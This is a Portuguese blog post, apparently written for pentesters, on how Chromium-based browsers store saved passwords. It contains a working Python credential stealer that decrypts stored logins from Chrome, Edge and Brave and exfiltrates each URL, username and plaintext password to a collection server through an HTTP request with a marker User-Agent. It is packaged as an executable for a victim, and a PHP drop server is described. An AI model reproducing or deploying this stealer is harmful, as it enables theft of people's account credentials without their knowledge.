Introdução
Você já se perguntou como funciona o autocomplete dos navegadores? Bom, ele deve salvar as suas credenciais em um local seguro… certo?
A ideia desse post é mostrar como todo esse processo funciona, mostrar como é mais simples do que você imagina extrair as senhas salvas pelo navegador e, por fim, dar uma ideia de uma possível utilização dessa técnica em um teste real
Então, vamos começar pelo começo
Como a criptografia AES funciona
O AES é um algoritmo de criptografia que utiliza a chave simétrica, ou seja, o algoritmo usa a mesma chave para criptografia e descriptografia
Basicamente o AES utiliza uma chave criptográfica (encrypted key) e faz algumas operações matemáticas para encriptar a senha
Para melhorar a segurança é possível adicionar um vetor de inicialização, que normalmente é um valor aleatório, o que torna mais difícil realizar a quebra da criptografia, uma vez que você precisa de duas informações para realizar a descriptografia (chave criptográfica e o vetor de inicialização)
Como o navegador salva as senhas
Para demonstração vou utilizar como exemplo o Brave (que é o navegador que eu uso), como ele é baseado no Chrome, tudo que vou mostrar aqui também pode ser utilizado com o Google Chrome, somente sendo necessário alterar o caminho dos diretórios
Após realizar o processo de criptografia que foi visto acima, essas informações são salvas em dois arquivos diferentes
A chave criptográfica (encrypted key) é salva dentro do arquivo “Local State” que pode ser encontrado seguindo esse caminho:
C:\Users\<username>\AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State
Abrindo o arquivo e lendo suas informações, é possível encontrar a informação que precisamos
Após o processo de criptografia, o resultado final é concatenado com o vetor de inicialização e tudo isso é salvo como sendo a senha criptografada e essa informação é salva dentro de um SQLite3
Esse arquivo tem o nome “Login Data” e pode ser encontrado seguindo o seguinte caminho:
C:\Users\<username>\AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data
Agora, já temos todas as informações necessárias para extrair as senhas que estão salvas no navegador
Criando um script para extrair as credenciais
Como já sabemos o caminho dos arquivos e como o AES funciona, basta agora automatizar todo esse processo. Para isso eu vou criar um script em Python
Basicamente o que o script faz é buscar esses arquivos e extrair as informações que precisamos (encrypted_key, vetor de inicialização e a senha criptografada), após isso ele realiza o decode da senha e printa as informações
import os
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
appdata = os.environ['USERPROFILE']
PATH_LSTATE = os.path.normpath(f"{appdata}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State")
PATH = os.path.normpath(f"{appdata}\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data")
with open( PATH_LSTATE, "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
login_db = os.path.normpath(r"%s\Default\Login Data"%(PATH))
shutil.copy2(login_db, "Loginvault.db")
conn = sqlite3.connect("Loginvault.db")
if(secret_key):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url!="" and username!="" and ciphertext!=""):
iv = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]
cipher = AES.new(secret_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(encrypted_password)
decrypted_pass = decrypted_pass.decode()
print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_pass))
cursor.close()
conn.close()
os.remove("Loginvault.db")
Executando o script, é possível extrair as minhas credenciais salvas no navegador, nesse caso o meu acesso ao site do duolingo
Exemplo prático de uso
Para mostrar um possível uso prático, vamos imaginar um cenário onde o atacante deseja extrair as credenciais da vítima e enviar essas informações para um C2
Nesse caso é necessário criar 2 script: um client e um server
Client
Nesse exemplo, eu vou utilizar o mesmo script python usado anteriormente, somente vou adicionar algumas funções a mais, como por exemplo, uma função para identificar os navegadores presentes na máquina da vitima e a requisição que vai enviar as informações encontradas para o servidor
O script final ficou assim:
import os
import re
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import requests
appdata = os.environ['USERPROFILE']
browsers = {
'google-chrome-sxs': appdata + '\\AppData\\Local\\Google\\Chrome SxS\\User Data',
'google-chrome': appdata + '\\AppData\\Local\\Google\\Chrome\\User Data',
'microsoft-edge': appdata + '\\AppData\\Local\\Microsoft\\Edge\\User Data',
'brave': appdata + '\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data',
}
def get_secret_key():
try:
with open( PATH_LSTATE, "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
secret_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
#Remove suffix DPAPI
secret_key = secret_key[5:]
secret_key = win32crypt.CryptUnprotectData(secret_key, None, None, None, 0)[1]
return secret_key
except:
return None
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password(ciphertext, secret_key):
try:
iv = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]
cipher = generate_cipher(secret_key, iv)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except:
return ""
def get_db_connection(login_db):
try:
shutil.copy2(login_db, "Loginvault.db")
return sqlite3.connect("Loginvault.db")
except:
return None
def installed_browsers():
available = []
for x in browsers.keys():
if os.path.exists(browsers[x]):
available.append(x)
return available
def getting_path(browser):
path = browsers[browser]
global PATH_LSTATE
global PATH
PATH_LSTATE = os.path.normpath(f"{path}\\Local State")
PATH = os.path.normpath(f"{path}")
if __name__ == '__main__':
try:
Browsers = installed_browsers()
for Browser in Browsers:
getting_path(Browser)
secret_key = get_secret_key()
#Search user profile or default folder (this is where the encrypted login password is stored)
folders = [element for element in os.listdir(PATH) if re.search("^Profile*|^Default$",element)!=None]
for folder in folders:
#(2) Get ciphertext from sqlite database
login_db = os.path.normpath(r"%s\%s\Login Data"%(PATH,folder))
conn = get_db_connection(login_db)
if(secret_key and conn):
cursor = conn.cursor()
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url!="" and username!="" and ciphertext!=""):
#(3) Filter the initialisation vector & encrypted password from ciphertext
#(4) Use AES algorithm to decrypt the password
decrypted_password = decrypt_password(ciphertext, secret_key)
enc = base64.b64encode(bytes(f"{index},{url},{username},{decrypted_password}",'utf-8'))
r = requests.get(f'http://127.0.0.1/cred.php?p={enc}', headers={"User-Agent":"Aq1xswdE3"})
#Close database connection
cursor.close()
conn.close()
#Delete temp login db
os.remove("Loginvault.db")
except:
...
Talvez você tenha reparado que a requisição feita para o servidor está usando um user agent um pouco estranho, mas isso vai fazer sentido mais pra frente
Então, a partir desse código gerei um executável que será enviado para a vítima
Server
Como servidor, utilizei um código em PHP extremamente simples. Primeiro ele verifica o user agent, se não for o esperado ele redireciona para uma página que não existe, isso serve para evitar que alguém que encontrou o endereço acesse o site e veja alguma informação, se passar desse primeiro filtro, recebe o valor via parâmetro get e então salva em um arquivo
Testando acessar o endereço via navegador, o filtro inicial funciona, e o usuário é redirecionado para 404.php
Executando o ataque
Com tudo pronto, o executável foi enviado para a máquina da vítima e então, o programa foi executado. Como pode ser visto abaixo, o prompt de comando abre e fecha rapidão (pode confiar rs) e nada mais acontece
Para o cliente, a impressão é de que o programa não funcionou, porém no servidor um novo arquivo é criado
Acessando o arquivo encontramos a senha que estava salva no navegador em texto claro
Os códigos usados nesse exemplo são muito simples e tem o intuito somente de trazer uma ideia, não utilize em um ambiente real
Conclusão
Como mencionei no começo, a minha ideia aqui era mostrar que ter acesso as credenciais salvas no navegador não é algo muito difícil, e por isso não é seguro, então pare de salvar suas senhas lá
O que eu mostrei aqui foi algo muito simples, porém, tente pegar a ideia da coisa toda e criar algumas aplicações mais complexas a partir dai, isso pode servir de insight durante um teste